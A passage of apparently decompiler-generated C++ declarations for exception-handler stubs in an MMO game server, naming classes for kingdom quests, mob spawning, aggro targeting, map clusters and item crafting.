_ehhandler__l_Clear___List_UKQPlayerInform_KingdomQuest____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165467(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UKQPlayerInform_KingdomQuest____QAEPAUKQPlayerInform_KingdomQuest__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166504(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0KingdomQuestContainer_KingdomQuest__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165574_0(int a1); // void __usercall _L165575_0(int a1); // void __usercall _L165577_0(int a1); // void __usercall _L165578_0(int a1); // void __usercall _L166142(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_KQ_W2Z_MAKE_REQ_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166305(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_GetBattleStat_ShinePlayer_ShineObjectClass__UAEPAUBattleStat__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166391(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__CommonList_UKQPlayerInform_KingdomQuest____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160902(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_GetMobKill_KQContributeList_KQContribute__QAEHKPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162449(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__IAEXViterator_12_IABUPlayerContribute_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UPlayerContribute_KQContribute__V__allocator_UPlayerContribute_KQContribute___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUPlayerList_KQContribute__PAU12_V__allocator_UPlayerList_KQContribute___std___std__YAPAUPlayerList_KQContribute__PAU12_00AAV__allocator_UPlayerList_KQContribute___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164138(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_SendMobKill_KQContributeList_KQContribute__QAEXKPAVShineObject_ShineObjectClass__HH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUPlayerList_KQContribute__IU12_V__allocator_UPlayerList_KQContribute___std___std__YAXPAUPlayerList_KQContribute__IABU12_AAV__allocator_UPlayerList_KQContribute___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__IAEXViterator_12_IABUPlayerList_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165232(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__resize___vector_UPlayerList_KQContribute__V__allocator_UPlayerList_KQContribute___std___std__QAEXIUPlayerList_KQContribute___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165428(int a1); // void __usercall _L165429(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqpl_EndOfKQ_KQContributeList_KQContribute__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165829_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0KQContributeList_KQContribute__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166074(int a1); // void __usercall _L166075(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqcl_NewKQ_KQContributeList_KQContribute__QAEXK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L157792(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__slil_Load_SubLayerInteractLoader_SubLayer__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159007(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LinkTo_ShinePlayer_ShineObjectClass__UAEEPAULinkInformTemplete_NPCManager__HHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159324(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__wms_NC_MAP_LINKRESERVE_ACK_WorldManagerSession__QAEXPATNETCOMMAND__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159437(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_CanItemMakeItem_ShinePlayer_ShineObjectClass__QAEGXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159518_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__iuf_Load_ItemUseFunction__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159769(int a1); // void __usercall _L159770(int a1); // void __usercall _L159773(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_MagicContainerMake_ShinePlayer_ShineObjectClass__QAEEPAUItemTotalInformation__K_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160039(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ItemMakeItem_ShinePlayer_ShineObjectClass__UAEXPAUItemTotalInformation___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73996(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MapBlockInformation_MapBlock__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L74539(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbi_DoorAction_MapBlockInformation_MapBlock__QAEEPATName8__W4DoorAction_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L74125(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbi_OccupCellCheck_MapBlockInformation_MapBlock__QAEEKKH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L74168(int a1); // void __usercall _L159715(int a1); // void __usercall _L159716(int a1); // void __usercall _L159717(int a1); // void __usercall _L159718(int a1); // void __usercall _L159719(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1InstanceMap_MapCluster_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159779(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mc_MissoionFailInstance_MapCluster_MapClusterManager__QAE_NPAVFieldMap___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161047(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_FindJobDungeon_ShinePlayer_ShineObjectClass__UAEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160302(int a1); // void __usercall _L160303(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_2JobDungeon_ShinePlayer_ShineObjectClass__UAEEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160616(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_MAP_TOWNPORTAL_REQ_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160739_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VMapCluster_MapClusterManager____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160769(int a1); // void __usercall _L160770(int a1); // void __usercall _L160771(int a1); // void __usercall _L160772(int a1); // void __usercall _L160773(int a1); // void __usercall _L160774(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ClusterManager_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160890(int a1); // void __usercall _L160891(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__cm_FindEmpty_ClusterManager_MapClusterManager__QAEPAVFieldMap__PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161076(int a1); // void __usercall _L161077(int a1); // void __usercall _L161078(int a1); // void __usercall _L161079(int a1); // void __usercall _L161080(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ClusterManager_MapClusterManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L146948(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhe_Load_MiniHouseEndureDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147318(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhoadb_Load_MiniHouseObjAniDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161251(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_SkinPolymorph_ShinePlayer_ShineObjectClass__QAEXGW4ABSTATEINDEX___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161296(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_serv_VanishReserv_ShineServant_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161335(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_StateCondition_MiscDataTable__AAEXPAVOptionReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161806(int a1); // void __usercall _L164059_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_AbnormalStateAttribute_ShineMobileObject_ShineObjectClass__UAEEW4AbnormalStateAttr_MiscData_VarifyByAbstate_MiscDataTable___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161864(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_AbStateBufferAlloc_MiscDataTable__AAEPAUMiscData_AbState_1_PAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L161946(int a1); // void __usercall _L161947(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__meb_Explosion_MobExplosionBase_MobExplosionElement__IAEEPAVShineServant_ShineObjectClass__PBUMiscData_Skill_MiscDataTable__PAVShineMobileObject_4__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162431(int a1); // void __usercall _L162432(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_AbstateMatchEquip_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162505(int a1); // void __usercall _L162506(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_ply_AggroAdjust_ShinePlayer_ShineObjectClass__UAEXHH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162570_0(int a1); // void __usercall _L162571(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_WarpTo_ShineMobileObject_ShineObjectClass__QAEXPAUSHINE_XY_TYPE__PBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162722(int a1); // void __usercall _L162723(int a1); // void __usercall _L162724(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ReinforceRemoveEquip_ShinePlayer_ShineObjectClass__UAEXW4ItemEquipEnum___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162980(int a1); // void __usercall _L162981(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_smo_CrossCounterDamage_ShineMob_ShineObjectClass__UAEHPAVShineMobileObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163081(int a1); // void __usercall _L163082(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_NC_CHAR_DEPOLYMORPH_CMD_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L163339(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_ArgumentLoad_MiscDataTable__QAEXPAUEngageArgument___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164018(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_WarpForward_ShineMobileObject_ShineObjectClass__QAEXPBUSkillDataIndex_SkillDataBox___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164252(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdt_Load_MiscDataTable__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L147921(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__ae4m_NextSkill_AttackElement4Mob_MobAttackSequence__QBEHPAVShineObject_ShineObjectClass__PAHE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148114(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_USkillChange_MobAttackSequence____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L148231(int a1); // void __usercall _L148234(int a1); // void __usercall _L148235(int a1); // void __usercall _L148236(int a1); // void __usercall _L148237(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mas_Load_MobAttackSequence__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160611(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_UseWeapon_ShineMob_ShineObjectClass__QAEXPAVShineObject_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L162074(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_SelectWeapon_ShineMob_ShineObjectClass__UAEHPAVShineObject_2_E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160582(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_AppendAggroPoint_MobTargetBout__UAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159125(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SelectTarget_MobTargetSelector__UAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159379(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobTarget_EnemyAnalysis__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159283(int a1); // void __usercall _L159284(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_DecreaseAggroPoint_MobTargetBout__UAEXPAVShineObject_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159344(int a1); // void __usercall _L159345(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobTarget_EnemyAnalysis__QAE_PAVShineObject_ShineObjectClass__PAV__List_UMobTargetStruct_____Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159527(int a1); // void __usercall _L159528(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_Routine_MobTargetBout__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159613(int a1); // void __usercall _L159614(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_FindMyRaceTarget_ShineMob_ShineObjectClass__UAEPAV12_PBUMobDataBoxIndex_MobDataBox__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159796(int a1); // void __usercall _L159797_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_CanNPCTarget_ShineMob_ShineObjectClass__UAEPAVShineObject_2_PBUMobDataBoxIndex_MobDataBox__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160079(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_UMobTargetStruct____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160341(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_SelectTarget_MobTargetAggresive__UAEXPAVShineObject_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L160526(int a1); // void __usercall _L160536(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mts_AggroClear_MobTargetBout__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159483(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mceb_DetectBattleChat_MobChatElement_MobChat__UAEXPAVShineMob_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159744(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mcm_Load_MobChatManager_MobChat__QAEXPBTName4___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L73997(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mdc_DeadCountGet_MobDeadCount__QAEHG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L159278_0(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_IsDropping_ShineObject_ShineObjectClass__QAEEPAUItemTotalInformation__W4DataBase_2_EKGKPAVItemAttributeClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176648(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mh_MobBreed_MobHatchery__QAEPAVMobBreeder_MobRegenClass__PBTName3__PAUSHINE_XY_TYPE__HGPADHHEHPATORToken__PBUPROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD__2GH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164177(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MobBreederGroup_MobRegenClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176115(int a1); // void __usercall _L164609(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___1KQRegenTable__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164632(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__kqrt_Load_KQRegenTable__QAEXPAD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L164667(int a1); // void __usercall _L165359(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbg_SetEnableNextRegen_MobBreederGroup_MobRegenClass__QAEEE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165176(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mb_regen_MobBreeder_MobRegenClass__AAEGPAV12__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L165479(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mbg_View_MobBreederGroup_MobRegenClass__QAEEPAV__List_VMobBreederGroup_MobRegenClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166124(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VMobBreederGroup_MobRegenClass____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L166879(int a1); // void __usercall _L166880(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobBreederGroup_MobRegenClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L167513(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobHatchery__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L168471(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_KV__allocator_K_std___std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UMobSpeciesSlot_FamilyMobManagement__V__allocator_UMobSpeciesSlot_FamilyMobManagement___std___std__IAEXViterator_12_IABUMobSpeciesSlot_FamilyMobManagement___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UMobSpeciesSlot_FamilyMobManagement__V__allocator_UMobSpeciesSlot_FamilyMobManagement___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172201(int a1); // void __usercall _L172227(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_mob_Regenerate_ShineMob_ShineObjectClass__UAE_AW4FM_MarkingError_FieldMap__PBTName3__HHHGGPBUPROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD__KPAVShineObject_2_PAVMobBreeder_MobRegenClass__HE_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L172434(int a1); // void __usercall _L172435(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mb_Routine_MobBreeder_MobRegenClass__QAEEPAV__List_VMobBreeder_MobRegenClass____G_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_copy_PAUFamilyMob_FamilyMobManagement__PAU12_V__allocator_UFamilyMob_FamilyMobManagement___std___std__YAPAUFamilyMob_FamilyMobManagement__PAU12_00AAV__allocator_UFamilyMob_FamilyMobManagement___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Uninit_fill_n_PAUFamilyMob_FamilyMobManagement__IU12_V__allocator_UFamilyMob_FamilyMobManagement___std___std__YAXPAUFamilyMob_FamilyMobManagement__IABU12_AAV__allocator_UFamilyMob_FamilyMobManagement___0_U_Nonscalar_ptr_iterator_tag_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UFamilyMob_FamilyMobManagement__V__allocator_UFamilyMob_FamilyMobManagement___std___std__IAEXViterator_12_IABUFamilyMob_FamilyMobManagement___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174323(int a1); // void __usercall _L174324(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fmm_Remove_FamilyMobManager_FamilyMobManagement__QAEXPAVMobBreeder_MobRegenClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L174821(int a1); // void __usercall _L174822(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__fmm_Regist_FamilyMobManager_FamilyMobManagement__QAEXPAVMobBreeder_MobRegenClass__GH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L176323(int a1); // void __usercall _L176324(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mh_Load_MobHatchery__QAEXPATName4__PATName3___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158132(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhl_SendAll2Log_MobHuntLog_HuntLog__QAEXPAVShinePlayer_ShineObjectClass___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158188(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Search___List_UMobHuntElement_HuntLog____QAEPAUMobHuntElement_HuntLog__P823_AEHPAV1_GPAU23__ZPAG1_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158225(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mhl_Logging_MobHuntLog_HuntLog__QAEXPAVShinePlayer_ShineObjectClass__GK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L158276(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__CommonList_UMobHuntElement_HuntLog____QAE_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L151247(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__sm_NextPathPoint_ShineMob_ShineObjectClass__QAEEPAH00_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L155992(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__erase____Tree_V___Tset_traits_VMobRoamingPath_MobRoaming__U__less_VMobRoamingPath_MobRoaming___std__V__allocator_VMobRoamingPath_MobRoaming___4__0A__std___std__QAE_AViterator_12_V312__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_PAVShineObject_ShineObjectClass__V__allocator_PAVShineObject_ShineObjectClass___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_UPathElement_MobRoaming__V__allocator_UPathElement_MobRoaming___std___std__IAEXViterator_12_IABUPathElement_MobRoaming___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__vector_UPathElement_MobRoaming__V__allocator_UPathElement_MobRoaming___std___std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L154852(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MobsInRoaming_MobRoaming__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); // void __usercall _L155126(int a1); _EXCEPTION_DISPOSITION __cdecl _ehhandler__mrs_Get_MobRoamingSet_MobRoaming__QAEPAVMobRoamingPath_2_PATORToken___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl 